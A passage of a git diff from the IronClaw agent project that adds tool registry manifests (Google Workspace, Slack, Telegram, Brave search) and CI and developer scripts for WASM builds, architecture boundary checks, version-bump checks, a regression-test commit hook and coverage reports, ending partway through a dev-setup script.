], + "source": { + "dir": "tools-src/google-docs", + "capabilities": "google-docs-tool.capabilities.json", + "crate_name": "google-docs-tool" + }, + "artifacts": { + "wasm32-wasip2": { + "url": "https://github.com/nearai/ironclaw/releases/latest/download/google-docs-wasm32-wasip2.tar.gz", + "sha256": "385c04abd1e6b8011ccc330e1f4bd7ce58577e488959b51594aa04eb26cbe7cc" + } + }, + "auth_summary": { + "method": "oauth", + "provider": "Google", + "secrets": [ + "google_oauth_token" + ], + "shared_auth": "google_oauth_token", + "setup_url": "https://console.cloud.google.com/apis/credentials" + }, + "tags": [ + "google", + "productivity" + ] +} diff --git a/registry/tools/google-drive.json b/registry/tools/google-drive.json new file mode 100644 index 00000000..d0e02f56 --- /dev/null +++ b/registry/tools/google-drive.json @@ -0,0 +1,39 @@ +{ + "name": "google-drive", + "display_name": "Google Drive", + "kind": "tool", + "version": "0.2.0", + "wit_version": "0.3.0", + "description": "Upload, download, search, and manage Google Drive files and folders", + "keywords": [ + "storage", + "google", + "files", + "drive" + ], + "source": { + "dir": "tools-src/google-drive", + "capabilities": "google-drive-tool.capabilities.json", + "crate_name": "google-drive-tool" + }, + "artifacts": { + "wasm32-wasip2": { + "url": "https://github.com/nearai/ironclaw/releases/latest/download/google-drive-wasm32-wasip2.tar.gz", + "sha256": "1b107d575a5d52cc8c76d9a681802190f4373fb485f7f54f445533f097fa37c0" + } + }, + "auth_summary": { + "method": "oauth", + "provider": "Google", + "secrets": [ + "google_oauth_token" + ], + "shared_auth": "google_oauth_token", + "setup_url": "https://console.cloud.google.com/apis/credentials" + }, + "tags": [ + "default", + "google", + "storage" + ] +} diff --git a/registry/tools/google-sheets.json b/registry/tools/google-sheets.json new file mode 100644 index 00000000..8eb88ced --- /dev/null +++ b/registry/tools/google-sheets.json @@ -0,0 +1,38 @@ +{ + "name": "google-sheets", + "display_name": "Google Sheets", + "kind": "tool", + "version": "0.2.0", + "wit_version": "0.3.0", + "description": "Read and write Google Sheets spreadsheet data", + "keywords": [ + "spreadsheets", + "google", + "data", + "sheets" + ], + "source": { + "dir": "tools-src/google-sheets", + "capabilities": "google-sheets-tool.capabilities.json", + "crate_name": "google-sheets-tool" + }, + "artifacts": { + "wasm32-wasip2": { + "url": "https://github.com/nearai/ironclaw/releases/latest/download/google-sheets-wasm32-wasip2.tar.gz", + "sha256": "c4f6b1e8c5126ac2c8a4b98e4283a3afa32223d2488fc3c3a609758c0c9beb90" + } + }, + "auth_summary": { + "method": "oauth", + "provider": "Google", + "secrets": [ + "google_oauth_token" + ], + "shared_auth": "google_oauth_token", + "setup_url": "https://console.cloud.google.com/apis/credentials" + }, + "tags": [ + "google", + "productivity" + ] +} diff --git a/registry/tools/google-slides.json b/registry/tools/google-slides.json new file mode 100644 index 00000000..6c3a187c --- /dev/null +++ b/registry/tools/google-slides.json @@ -0,0 +1,37 @@ +{ + "name": "google-slides", + "display_name": "Google Slides", + "kind": "tool", + "version": "0.2.0", + "wit_version": "0.3.0", + "description": "Create and edit Google Slides presentations", + "keywords": [ + "presentations", + "google", + "slides" + ], + "source": { + "dir": "tools-src/google-slides", + "capabilities": "google-slides-tool.capabilities.json", + "crate_name": "google-slides-tool" + }, + "artifacts": { + "wasm32-wasip2": { + "url": "https://github.com/nearai/ironclaw/releases/latest/download/google-slides-wasm32-wasip2.tar.gz", + "sha256": "7110b8565340c888e51f99e9c013bf4de8f8a7f7b33bace00eb8fc47831ff20b" + } + }, + "auth_summary": { + "method": "oauth", + "provider": "Google", + "secrets": [ + "google_oauth_token" + ], + "shared_auth": "google_oauth_token", + "setup_url": "https://console.cloud.google.com/apis/credentials" + }, + "tags": [ + "google", + "productivity" + ] +} diff --git a/registry/tools/slack.json b/registry/tools/slack.json new file mode 100644 index 00000000..c1102021 --- /dev/null +++ b/registry/tools/slack.json @@ -0,0 +1,37 @@ +{ + "name": "slack-tool", + "display_name": "Slack Tool", + "kind": "tool", + "version": "0.2.0", + "wit_version": "0.3.0", + "description": "Your agent uses Slack to post and read messages in your workspace", + "keywords": [ + "messaging", + "chat", + "workspace" + ], + "source": { + "dir": "tools-src/slack", + "capabilities": "slack-tool.capabilities.json", + "crate_name": "slack-tool" + }, + "artifacts": { + "wasm32-wasip2": { + "url": "https://github.com/nearai/ironclaw/releases/latest/download/slack-tool-wasm32-wasip2.tar.gz", + "sha256": "6ed36077b67ac70a041f06f760f93ba79b33269885413c3c3f2c8c87ee60807e" + } + }, + "auth_summary": { + "method": "oauth", + "provider": "Slack", + "secrets": [ + "slack_bot_token" + ], + "shared_auth": null, + "setup_url": "https://api.slack.com/apps" + }, + "tags": [ + "default", + "messaging" + ] +} diff --git a/registry/tools/telegram.json b/registry/tools/telegram.json new file mode 100644 index 00000000..d96d8985 --- /dev/null +++ b/registry/tools/telegram.json @@ -0,0 +1,38 @@ +{ + "name": "telegram-mtproto", + "display_name": "Telegram Tool", + "kind": "tool", + "version": "0.2.0", + "wit_version": "0.3.0", + "description": "Your agent uses your Telegram account to read and send messages", + "keywords": [ + "messaging", + "chat", + "telegram", + "mtproto" + ], + "source": { + "dir": "tools-src/telegram", + "capabilities": "telegram-tool.capabilities.json", + "crate_name": "telegram-tool" + }, + "artifacts": { + "wasm32-wasip2": { + "url": "https://github.com/nearai/ironclaw/releases/latest/download/telegram-mtproto-wasm32-wasip2.tar.gz", + "sha256": "98c86895a9c4b0a1e19fe8a47f1ccbfe7e972e112b05e584bc897130dc32283a" + } + }, + "auth_summary": { + "method": "manual", + "provider": "Telegram", + "secrets": [ + "telegram_api_id", + "telegram_api_hash" + ], + "shared_auth": null, + "setup_url": "https://my.telegram.org/apps" + }, + "tags": [ + "messaging" + ] +} diff --git a/registry/tools/web-search.json b/registry/tools/web-search.json new file mode 100644 index 00000000..7112d9b2 --- /dev/null +++ b/registry/tools/web-search.json @@ -0,0 +1,38 @@ +{ + "name": "web-search", + "display_name": "Web Search", + "kind": "tool", + "version": "0.2.0", + "wit_version": "0.3.0", + "description": "Search the web using Brave Search API", + "keywords": [ + "search", + "web", + "brave", + "internet" + ], + "source": { + "dir": "tools-src/web-search", + "capabilities": "web-search-tool.capabilities.json", + "crate_name": "web-search-tool" + }, + "artifacts": { + "wasm32-wasip2": { + "url": "https://github.com/nearai/ironclaw/releases/latest/download/web-search-wasm32-wasip2.tar.gz", + "sha256": "66cb2b9b00652385e9f30f17c74902b9222c17c53e9d3bd1ef42f5cab705bcf6" + } + }, + "auth_summary": { + "method": "manual", + "provider": "Brave", + "secrets": [ + "brave_api_key" + ], + "shared_auth": null, + "setup_url": "https://brave.com/search/api/" + }, + "tags": [ + "default", + "search" + ] +} diff --git a/scripts/build-wasm-extensions.sh b/scripts/build-wasm-extensions.sh new file mode 100755 index 00000000..165bd6de --- /dev/null +++ b/scripts/build-wasm-extensions.sh @@ -0,0 +1,74 @@ +#!/usr/bin/env bash +# Build all WASM tools and channels from source. +# +# Verifies that every tool/channel in the registry compiles against the +# current WIT definitions. Used by CI and can be run locally. +# +# Prerequisites: +# rustup target add wasm32-wasip2 +# cargo install cargo-component --locked +# +# Usage: +# ./scripts/build-wasm-extensions.sh # build all +# ./scripts/build-wasm-extensions.sh --tools # tools only +# ./scripts/build-wasm-extensions.sh --channels # channels only + +set -euo pipefail + +cd "$(dirname "$0")/.." + +BUILD_TOOLS=true +BUILD_CHANNELS=true +FAILED=() + +if [[ "${1:-}" == "--tools" ]]; then + BUILD_CHANNELS=false +elif [[ "${1:-}" == "--channels" ]]; then + BUILD_TOOLS=false +fi + +build_extension() { + local manifest_path="$1" + local source_dir + local crate_name + + source_dir=$(jq -r '.source.dir' "$manifest_path") + crate_name=$(jq -r '.source.crate_name' "$manifest_path") + local name + name=$(basename "$manifest_path" .json) + + if [ ! -d "$source_dir" ]; then + echo " SKIP $name (source dir $source_dir not found)" + return 0 + fi + + echo " BUILD $name ($crate_name) from $source_dir" + if ! cargo component build --release --manifest-path "$source_dir/Cargo.toml" 2>&1; then + echo " FAIL $name" + FAILED+=("$name") + return 1 + fi + echo " OK $name" +} + +if $BUILD_TOOLS; then + echo "Building WASM tools..." + for manifest in registry/tools/*.json; do + build_extension "$manifest" || true + done +fi + +if $BUILD_CHANNELS; then + echo "Building WASM channels..." + for manifest in registry/channels/*.json; do + build_extension "$manifest" || true + done +fi + +echo "" +if [ ${#FAILED[@]} -gt 0 ]; then + echo "FAILED: ${FAILED[*]}" + exit 1 +else + echo "All WASM extensions built successfully." +fi diff --git a/scripts/check-boundaries.sh b/scripts/check-boundaries.sh new file mode 100755 index 00000000..1fc072f6 --- /dev/null +++ b/scripts/check-boundaries.sh @@ -0,0 +1,223 @@ +#!/usr/bin/env bash +# Architecture boundary checks for IronClaw. +# Run as: bash scripts/check-boundaries.sh +# Returns non-zero if hard violations are found. + +set -euo pipefail + +REPO_ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)" +cd "$REPO_ROOT" + +violations=0 + +echo "=== Architecture Boundary Checks ===" +echo + +# -------------------------------------------------------------------------- +# Check 1: Direct database driver usage outside the db layer +# -------------------------------------------------------------------------- +# tokio_postgres:: and libsql:: types should only appear in: +# - src/db/ (the database abstraction layer) +# - src/workspace/repository.rs (workspace's own DB layer) +# - src/error.rs (needs From impls for driver error types) +# - src/app.rs (bootstraps/initialises the database) +# - src/testing.rs (test infrastructure) +# - src/cli/ (CLI commands that bootstrap DB connections) +# - src/setup/ (onboarding wizard bootstraps DB) +# - src/main.rs (entry point) +# +# Everything else is a boundary violation -- those modules should go through +# the Database trait, not touch driver types directly. +# -------------------------------------------------------------------------- + +echo "--- Check 1: Direct database driver usage outside db layer ---" + +results=$(grep -rn 'tokio_postgres::\|libsql::' src/ \ + --include='*.rs' \ + | grep -v 'src/db/' \ + | grep -v 'src/workspace/repository.rs' \ + | grep -v 'src/error.rs' \ + | grep -v 'src/app.rs' \ + | grep -v 'src/testing.rs' \ + | grep -v 'src/cli/' \ + | grep -v 'src/setup/' \ + | grep -v 'src/main.rs' \ + | grep -v '^\s*//' \ + | grep -v '//.*tokio_postgres\|//.*libsql' \ + || true) + +if [ -n "$results" ]; then + echo "VIOLATION: Direct database driver usage found outside db layer:" + echo "$results" + echo + count=$(echo "$results" | wc -l | tr -d ' ') + echo "($count occurrence(s) -- these modules should use the Database trait)" + violations=$((violations + 1)) +else + echo "OK" +fi +echo + +# -------------------------------------------------------------------------- +# Check 2: .unwrap() / .expect() in production code (heuristic) +# -------------------------------------------------------------------------- +# We cannot perfectly distinguish test vs production code with grep alone +# (test modules span many lines). Instead we: +# 1. Exclude files that are entirely test infrastructure +# 2. Exclude lines that are clearly in test code (assert, #[test], etc.) +# 3. Report a per-file summary so reviewers can focus on the worst files +# +# This is a WARNING, not a hard violation. +# -------------------------------------------------------------------------- + +echo "--- Check 2: .unwrap() / .expect() in production code ---" + +# Collect raw matches excluding obvious test-only files and lines +raw_results=$(grep -rn '\.unwrap()\|\.expect(' src/ \ + --include='*.rs' \ + | grep -v 'src/main.rs' \ + | grep -v 'src/testing.rs' \ + | grep -v 'src/setup/' \ + || true) + +if [ -n "$raw_results" ]; then + total=$(echo "$raw_results" | wc -l | tr -d ' ') + echo "WARNING: ~$total .unwrap()/.expect() calls found in src/ (excluding main/testing/setup)." + echo "Many are in test modules; a per-file breakdown helps triage:" + echo + # Show per-file counts, sorted by count descending, top 15 + file_counts=$(echo "$raw_results" | cut -d: -f1 | sort | uniq -c | sort -rn) + echo "$file_counts" | head -15 + fc_total=$(echo "$file_counts" | wc -l | tr -d ' ') + if [ "$fc_total" -gt 15 ]; then + echo " ... and $((fc_total - 15)) more files" + fi + echo + echo "(This is a warning for gradual cleanup, not a blocking violation.)" + echo "(Many of these are inside #[cfg(test)] modules which is acceptable.)" +else + echo "OK" +fi +echo + +# -------------------------------------------------------------------------- +# Check 3: std::env::var reads outside config/bootstrap layers +# -------------------------------------------------------------------------- +# Sensitive values should come through Config or the secrets module. +# Direct std::env::var / env::var() reads are allowed in: +# - src/config/ (the config layer itself) +# - src/main.rs (entry point) +# - src/setup/ (onboarding wizard) +# - src/testing.rs (test infrastructure) +# - src/cli/ (CLI commands that read env for bootstrap) +# - src/bootstrap.rs (bootstrap logic) +# -------------------------------------------------------------------------- + +echo "--- Check 3: Direct env var reads outside config layer ---" + +results=$(grep -rn 'std::env::var\|env::var(' src/ \ + --include='*.rs' \ + | grep -v 'src/config/' \ + | grep -v 'src/main.rs' \ + | grep -v 'src/setup/' \ + | grep -v 'src/testing.rs' \ + | grep -v 'src/cli/' \ + | grep -v 'src/bootstrap.rs' \ + | grep -v '#\[cfg(test)\]' \ + | grep -v '#\[test\]' \ + | grep -v 'mod tests' \ + | grep -v 'fn test_' \ + | grep -v '//.*env::var' \ + || true) + +if [ -n "$results" ]; then + count=$(echo "$results" | wc -l | tr -d ' ') + echo "WARNING: Direct env var reads found outside config layer ($count occurrences):" + echo "$results" + echo + echo "(Review these -- secrets/config should come through Config or the secrets module)" +else + echo "OK" +fi +echo + +# -------------------------------------------------------------------------- +# Check 4: Test tier gating — integration tests must use feature flags +# -------------------------------------------------------------------------- +# Files in tests/ that connect to PostgreSQL or use DATABASE_URL must be +# gated behind #![cfg(all(feature = "postgres", feature = "integration"))]. +# This ensures `cargo test` (no flags) never requires external services. +# +# Heuristic: any test file referencing DATABASE_URL, connect(), PgPool, +# or tokio_postgres should have the cfg gate on the first few lines. +# -------------------------------------------------------------------------- + +echo "--- Check 4: Test tier gating for integration tests ---" + +tier_violations=() +for test_file in tests/*.rs; do + [ -f "$test_file" ] || continue + + # Check if the file actually connects to a database (imports DB types + # or calls pool/connect). Mere string references like "DATABASE_URL" + # in config tests don't count. + needs_gate=false + if grep -q 'PgPool\|tokio_postgres::\|create_pool\|\.connect(' "$test_file" 2>/dev/null; then + needs_gate=true + fi + + if [ "$needs_gate" = true ]; then + # Check first 5 lines for the cfg gate + if ! head -5 "$test_file" | grep -q 'cfg.*feature.*integration' 2>/dev/null; then + tier_violations+=(" $test_file: needs '#![cfg(all(feature = \"postgres\", feature = \"integration\"))]'") + fi + fi +done + +if [ ${#tier_violations[@]} -gt 0 ]; then + echo "VIOLATION: Integration tests missing feature gate:" + printf '%s\n' "${tier_violations[@]}" + echo + echo "(Tests requiring external services must be gated behind the 'integration' feature)" + violations=$((violations + 1)) +else + echo "OK" +fi +echo + +# -------------------------------------------------------------------------- +# Check 5: No silent test-skip patterns (try_connect, is_available, etc.) +# -------------------------------------------------------------------------- +# Tests must fail loudly when prerequisites are missing, not silently skip. +# The correct approach is feature-flag gating (#![cfg(feature = "integration")]). +# Patterns like try_connect().is_none() { return; } hide broken tests. +# -------------------------------------------------------------------------- + +echo "--- Check 5: No silent test-skip patterns ---" + +skip_results=$(grep -rn 'try_connect\|is_available.*return\|is_none.*return\|is_err.*return.*//.*skip' tests/ \ + --include='*.rs' \ + || true) + +if [ -n "$skip_results" ]; then + echo "VIOLATION: Silent test-skip patterns found (use feature gates instead):" + echo "$skip_results" + echo + violations=$((violations + 1)) +else + echo "OK" +fi +echo + +# -------------------------------------------------------------------------- +# Summary +# -------------------------------------------------------------------------- + +echo "=== Summary ===" +if [ "$violations" -gt 0 ]; then + echo "FAILED: $violations hard violation(s) found" + exit 1 +else + echo "PASSED: No hard violations found (review warnings above)" + exit 0 +fi diff --git a/scripts/check-version-bumps.sh b/scripts/check-version-bumps.sh new file mode 100755 index 00000000..42b6704a --- /dev/null +++ b/scripts/check-version-bumps.sh @@ -0,0 +1,251 @@ +#!/usr/bin/env bash +set -euo pipefail + +# CI script: check that version bumps accompany WIT or extension source changes. +# Exit 0 if all checks pass, exit 1 if any version wasn't bumped. + +ERRORS=0 + +# --- Skip mechanism ----------------------------------------------------------- + +if [[ "${PR_LABELS:-}" == *"skip-version-check"* ]]; then + echo "skip-version-check label detected — skipping all version checks." + exit 0 +fi + +# Check commit messages for [skip-version-check] +if git log "origin/${GITHUB_BASE_REF:-main}...HEAD" --pretty=format:"%s %b" 2>/dev/null \ + | grep -qF '[skip-version-check]'; then + echo "[skip-version-check] found in commit message — skipping all version checks." + exit 0 +fi + +# --- Determine base branch and changed files ---------------------------------- + +BASE_BRANCH="${GITHUB_BASE_REF:-main}" +echo "Base branch: $BASE_BRANCH" + +# Ensure the base branch ref is available +if ! git rev-parse "origin/${BASE_BRANCH}" >/dev/null 2>&1; then + echo "Fetching origin/${BASE_BRANCH}..." + git fetch origin "$BASE_BRANCH" --depth=1 +fi + +CHANGED_FILES=$(git diff --name-only "origin/${BASE_BRANCH}...HEAD") + +if [[ -z "$CHANGED_FILES" ]]; then + echo "No changed files detected. Nothing to check." + exit 0 +fi + +# --- Helper functions --------------------------------------------------------- + +# Extract the version from a WIT package line like: package near:agent@1.2.3; +extract_wit_version() { + local file="$1" + if [[ ! -f "$file" ]]; then + echo "" + return + fi + sed -n 's/^[[:space:]]*package[[:space:]]\+[^@]*@\([0-9][0-9.]*[0-9]\)[[:space:]]*;.*/\1/p' "$file" \ + | head -n1 +} + +# Extract version from the base branch copy of a file +extract_wit_version_base() { + local file="$1" + git show "origin/${BASE_BRANCH}:${file}" 2>/dev/null \ + | sed -n 's/^[[:space:]]*package[[:space:]]\+[^@]*@\([0-9][0-9.]*[0-9]\)[[:space:]]*;.*/\1/p' \ + | head -n1 || true +} + +# Extract a Rust string constant value: pub const NAME: &str = "value"; +extract_rust_const() { + local file="$1" + local const_name="$2" + if [[ ! -f "$file" ]]; then + echo "" + return + fi + sed -n "s/^.*${const_name}[[:space:]]*:[[:space:]]*&str[[:space:]]*=[[:space:]]*\"\([^\"]*\)\".*/\1/p" "$file" \ + | head -n1 +} + +# Extract JSON "version" field using jq +extract_json_version() { + local file="$1" + if [[ ! -f "$file" ]]; then + echo "" + return + fi + jq -r '.version // empty' "$file" 2>/dev/null || true +} + +# Extract JSON "version" from the base branch copy of a file +extract_json_version_base() { + local file="$1" + git show "origin/${BASE_BRANCH}:${file}" 2>/dev/null | jq -r '.version // empty' 2>/dev/null || true +} + +# Return 0 if $1 (new) is strictly greater than $2 (old) via sort -V, or old is empty. +version_was_bumped() { + local new="$1" + local old="$2" + if [[ -z "$old" ]]; then + # No prior version — treat as new, no bump required + return 0 + fi + if [[ -z "$new" ]]; then + # Version was removed — that's a problem + return 1 + fi + if [[ "$new" == "$old" ]]; then + return 1 + fi + # Check new > old via sort -V + local highest + highest=$(printf '%s\n%s\n' "$new" "$old" | sort -V | tail -n1) + [[ "$highest" == "$new" ]] +} + +# --- 1. WIT changes ---------------------------------------------------------- + +WIT_TOOL_CHANGED=false +WIT_CHANNEL_CHANGED=false + +if echo "$CHANGED_FILES" | grep -qx 'wit/tool\.wit'; then + WIT_TOOL_CHANGED=true +fi +if echo "$CHANGED_FILES" | grep -qx 'wit/channel\.wit'; then + WIT_CHANNEL_CHANGED=true +fi + +if $WIT_TOOL_CHANGED; then + echo "" + echo "=== wit/tool.wit changed ===" + + NEW_VER=$(extract_wit_version "wit/tool.wit") + OLD_VER=$(extract_wit_version_base "wit/tool.wit") + echo " WIT package version: ${OLD_VER:-} -> ${NEW_VER:-}" + + if ! version_was_bumped "${NEW_VER}" "${OLD_VER}"; then + echo " ERROR: wit/tool.wit package version was not bumped (${OLD_VER} -> ${NEW_VER:-})." + ERRORS=$((ERRORS + 1)) + else + echo " OK: WIT package version bumped." + fi + + # Check WIT_TOOL_VERSION constant matches + CONST_VER=$(extract_rust_const "src/tools/wasm/mod.rs" "WIT_TOOL_VERSION") + if [[ -n "$NEW_VER" && "$CONST_VER" != "$NEW_VER" ]]; then + echo " ERROR: WIT_TOOL_VERSION in src/tools/wasm/mod.rs is '${CONST_VER}' but wit/tool.wit has '${NEW_VER}'. They must match." + ERRORS=$((ERRORS + 1)) + elif [[ -n "$NEW_VER" ]]; then + echo " OK: WIT_TOOL_VERSION matches wit/tool.wit." + fi +fi + +if $WIT_CHANNEL_CHANGED; then + echo "" + echo "=== wit/channel.wit changed ===" + + NEW_VER=$(extract_wit_version "wit/channel.wit") + OLD_VER=$(extract_wit_version_base "wit/channel.wit") + echo " WIT package version: ${OLD_VER:-} -> ${NEW_VER:-}" + + if ! version_was_bumped "${NEW_VER}" "${OLD_VER}"; then + echo " ERROR: wit/channel.wit package version was not bumped (${OLD_VER} -> ${NEW_VER:-})." + ERRORS=$((ERRORS + 1)) + else + echo " OK: WIT package version bumped." + fi + + # Check WIT_CHANNEL_VERSION constant matches + CONST_VER=$(extract_rust_const "src/tools/wasm/mod.rs" "WIT_CHANNEL_VERSION") + if [[ -n "$NEW_VER" && "$CONST_VER" != "$NEW_VER" ]]; then + echo " ERROR: WIT_CHANNEL_VERSION in src/tools/wasm/mod.rs is '${CONST_VER}' but wit/channel.wit has '${NEW_VER}'. They must match." + ERRORS=$((ERRORS + 1)) + elif [[ -n "$NEW_VER" ]]; then + echo " OK: WIT_CHANNEL_VERSION matches wit/channel.wit." + fi +fi + +if $WIT_TOOL_CHANGED || $WIT_CHANNEL_CHANGED; then + echo "" + echo " WARNING: WIT interface changed. All published registry extensions should bump their versions for compatibility." +fi + +# --- 2. Tool source changes --------------------------------------------------- + +TOOL_NAMES=$(echo "$CHANGED_FILES" | sed -n 's|^tools-src/\([^/]*\)/.*|\1|p' | sort -u) + +if [[ -n "$TOOL_NAMES" ]]; then + echo "" + echo "=== Tool source changes ===" +fi + +for tool in $TOOL_NAMES; do + REGISTRY_FILE="registry/tools/${tool}.json" + echo "" + echo " --- tools-src/${tool}/ changed ---" + + if [[ ! -f "$REGISTRY_FILE" ]]; then + echo " SKIP: ${REGISTRY_FILE} does not exist yet (new extension?)." + continue + fi + + NEW_VER=$(extract_json_version "$REGISTRY_FILE") + OLD_VER=$(extract_json_version_base "$REGISTRY_FILE") + + echo " Registry version: ${OLD_VER:-} -> ${NEW_VER:-}" + + if ! version_was_bumped "${NEW_VER}" "${OLD_VER}"; then + echo " ERROR: ${REGISTRY_FILE} version was not bumped (${OLD_VER} -> ${NEW_VER:-}). Bump the version when changing tools-src/${tool}/." + ERRORS=$((ERRORS + 1)) + else + echo " OK: version bumped." + fi +done + +# --- 3. Channel source changes ------------------------------------------------ + +CHANNEL_NAMES=$(echo "$CHANGED_FILES" | sed -n 's|^channels-src/\([^/]*\)/.*|\1|p' | sort -u) + +if [[ -n "$CHANNEL_NAMES" ]]; then + echo "" + echo "=== Channel source changes ===" +fi + +for channel in $CHANNEL_NAMES; do + REGISTRY_FILE="registry/channels/${channel}.json" + echo "" + echo " --- channels-src/${channel}/ changed ---" + + if [[ ! -f "$REGISTRY_FILE" ]]; then + echo " SKIP: ${REGISTRY_FILE} does not exist yet (new extension?)." + continue + fi + + NEW_VER=$(extract_json_version "$REGISTRY_FILE") + OLD_VER=$(extract_json_version_base "$REGISTRY_FILE") + + echo " Registry version: ${OLD_VER:-} -> ${NEW_VER:-}" + + if ! version_was_bumped "${NEW_VER}" "${OLD_VER}"; then + echo " ERROR: ${REGISTRY_FILE} version was not bumped (${OLD_VER} -> ${NEW_VER:-}). Bump the version when changing channels-src/${channel}/." + ERRORS=$((ERRORS + 1)) + else + echo " OK: version bumped." + fi +done + +# --- Summary ------------------------------------------------------------------ + +echo "" +if [[ $ERRORS -gt 0 ]]; then + echo "FAILED: ${ERRORS} version check(s) did not pass. See errors above." + exit 1 +else + echo "All version checks passed." + exit 0 +fi diff --git a/scripts/commit-msg-regression.sh b/scripts/commit-msg-regression.sh new file mode 100755 index 00000000..a56fdd00 --- /dev/null +++ b/scripts/commit-msg-regression.sh @@ -0,0 +1,81 @@ +#!/usr/bin/env bash +# commit-msg hook: require regression tests for fix commits. +# +# Installed by scripts/dev-setup.sh as .git/hooks/commit-msg. +# Bypass with [skip-regression-check] in the commit message. + +set -euo pipefail + +MSG_FILE="$1" +FIRST_LINE=$(head -1 "$MSG_FILE") + +# --- 1. Is this a fix commit? --- +if ! grep -qiE '^(fix(\(.*\))?|hotfix|bugfix):' <<< "$FIRST_LINE"; then + exit 0 +fi + +# --- 2. Skip marker --- +if grep -qF '[skip-regression-check]' "$MSG_FILE"; then + exit 0 +fi + +# --- 3. Exempt static-only / docs-only changes --- +# Get staged files (commit-msg runs after staging is finalized). +STAGED_FILES=$(git diff --cached --name-only --diff-filter=ACMR) + +if [ -z "$STAGED_FILES" ]; then + exit 0 +fi + +ALL_EXEMPT=true +while IFS= read -r file; do + case "$file" in + src/channels/web/static/*) ;; + *.md) ;; + *) ALL_EXEMPT=false; break ;; + esac +done <<< "$STAGED_FILES" + +if [ "$ALL_EXEMPT" = true ]; then + exit 0 +fi + +# --- 4. Look for test changes in staged .rs files --- + +# Fast path: new test attributes or test modules in added lines. +if git diff --cached -U0 -- '*.rs' | grep -qE '^\+.*(#\[test\]|#\[tokio::test\]|#\[cfg\(test\)\]|mod tests)'; then + exit 0 +fi + +# Whole-function context: detect edits inside existing test functions. +# -W shows the full enclosing function, so #[test] appears in context +# lines when changes are inside a test function. +if git diff --cached -W -- '*.rs' | awk ' + /^@@/ { if (has_test && has_add) { found=1; exit } has_test=0; has_add=0 } + /^ .*#\[test\]/ || /^ .*#\[tokio::test\]/ || /^ .*#\[cfg\(test\)\]/ || /^ .*mod tests/ { has_test=1 } + /^\+.*#\[test\]/ || /^\+.*#\[tokio::test\]/ || /^\+.*#\[cfg\(test\)\]/ || /^\+.*mod tests/ { has_test=1 } + /^\+[^+]/ { has_add=1 } + END { if (has_test && has_add) found=1; exit !found } +'; then + exit 0 +fi + +# Also check for new/modified files under tests/ +if grep -qE '^tests/' <<< "$STAGED_FILES"; then + exit 0 +fi + +# --- 5. No test found — block the commit --- +echo "" +echo "╔══════════════════════════════════════════════════════════════╗" +echo "║ REGRESSION TEST REQUIRED ║" +echo "║ ║" +echo "║ This commit looks like a bug fix but has no test changes. ║" +echo "║ Every fix should include a test that reproduces the bug. ║" +echo "║ ║" +echo "║ Options: ║" +echo "║ • Add a #[test] or #[tokio::test] that catches the bug ║" +echo "║ • Add [skip-regression-check] to your commit message ║" +echo "╚══════════════════════════════════════════════════════════════╝" +echo "" +exit 1 diff --git a/scripts/coverage.sh b/scripts/coverage.sh new file mode 100755 index 00000000..b6b73410 --- /dev/null +++ b/scripts/coverage.sh @@ -0,0 +1,101 @@ +#!/usr/bin/env bash +# Generate an HTML coverage report for a given set of tests. +# +# Usage: +# ./scripts/coverage.sh # all tests (lib only) +# ./scripts/coverage.sh safety # tests matching "safety" +# ./scripts/coverage.sh safety::sanitizer # specific module tests +# ./scripts/coverage.sh test_a test_b test_c # multiple test filters +# +# Options (env vars): +# COV_OPEN=1 Auto-open the report in a browser (default: 1) +# COV_FORMAT=html Output format: html, text, json, lcov (default: html) +# COV_OUT=coverage Output directory (default: coverage/) +# COV_FEATURES="" Extra --features to pass (default: none) +# COV_ALL_TARGETS=0 Set to 1 to include integration tests (default: lib only) +# +# Requires: cargo-llvm-cov (install: cargo install cargo-llvm-cov) + +set -euo pipefail + +COV_OPEN="${COV_OPEN:-1}" +COV_FORMAT="${COV_FORMAT:-html}" +COV_OUT="${COV_OUT:-coverage}" +COV_FEATURES="${COV_FEATURES:-}" +COV_ALL_TARGETS="${COV_ALL_TARGETS:-0}" + +cd "$(git rev-parse --show-toplevel)" + +if ! command -v cargo-llvm-cov &>/dev/null; then + echo "ERROR: cargo-llvm-cov not found. Install with: cargo install cargo-llvm-cov" + exit 1 +fi + +# Clean stale profiling data to avoid "mismatched data" warnings. +cargo llvm-cov clean --workspace 2>/dev/null || true + +# Build the cargo llvm-cov command +cmd=(cargo llvm-cov) + +# Features +if [[ -n "$COV_FEATURES" ]]; then + cmd+=(--features "$COV_FEATURES") +else + cmd+=(--all-features) +fi + +# By default, only run the lib unit tests (fast, no integration test compilation). +# Set COV_ALL_TARGETS=1 to include integration tests. +if [[ "$COV_ALL_TARGETS" != "1" ]]; then + cmd+=(--lib) +fi + +# Output format +case "$COV_FORMAT" in + html) + cmd+=(--html --output-dir "$COV_OUT") + ;; + text) + cmd+=(--text) + ;; + json) + cmd+=(--json --output-path "$COV_OUT/coverage.json") + ;; + lcov) + cmd+=(--lcov --output-path "$COV_OUT/lcov.info") + ;; + *) + echo "ERROR: Unknown format '$COV_FORMAT'. Use: html, text, json, lcov" + exit 1 + ;; +esac + +# Test name filters (passed after -- to cargo test) +if [[ $# -gt 0 ]]; then + if [[ $# -eq 1 ]]; then + cmd+=(-- "$1") + else + # Join filters with | for regex matching + filter=$(IFS='|'; echo "$*") + cmd+=(-- "$filter") + fi +fi + +echo "Running: ${cmd[*]}" +echo "" + +"${cmd[@]}" + +# Open report +if [[ "$COV_FORMAT" == "html" && "$COV_OPEN" == "1" ]]; then + index="$COV_OUT/html/index.html" + if [[ -f "$index" ]]; then + echo "" + echo "Report: $index" + if command -v open &>/dev/null; then + open "$index" + elif command -v xdg-open &>/dev/null; then + xdg-open "$index" + fi + fi +fi diff --git a/scripts/dev-setup.sh b/scripts/dev-setup.sh new file mode 100755 index 00000000..faa5aa2c --- /dev/null +++ b/scripts/dev-setup.sh @@ -0,0 +1,70 @@ +#!/usr/bin/env bash +# Developer setup script for IronClaw. +# +# Gets a fresh checkout ready for development without requiring +# Docker, PostgreSQL, or any external services. +# +# Usage: +# ./scripts/dev-setup.sh +# +# After running, you can: +# cargo check # default features (postgres + libsql) +# cargo test # default test suite (uses libsql temp DB) +# cargo test --all-features # full test suite + +set -euo pipefail + +cd "$(dirname "$0")/.." + +echo "=== IronClaw Developer Setup ===" +echo "" + +# 1. Check rustup +if ! command -v rustup &>/dev/null; then + echo "ERROR: rustup not found. Install from https://rustup.rs" + exit 1 +fi +echo "[1/6] rustup found: $(rustup --version 2>/dev/null | head -1)" + +# 2. Add WASM target (required by build.rs for channel compilation) +echo "[2/6] Adding 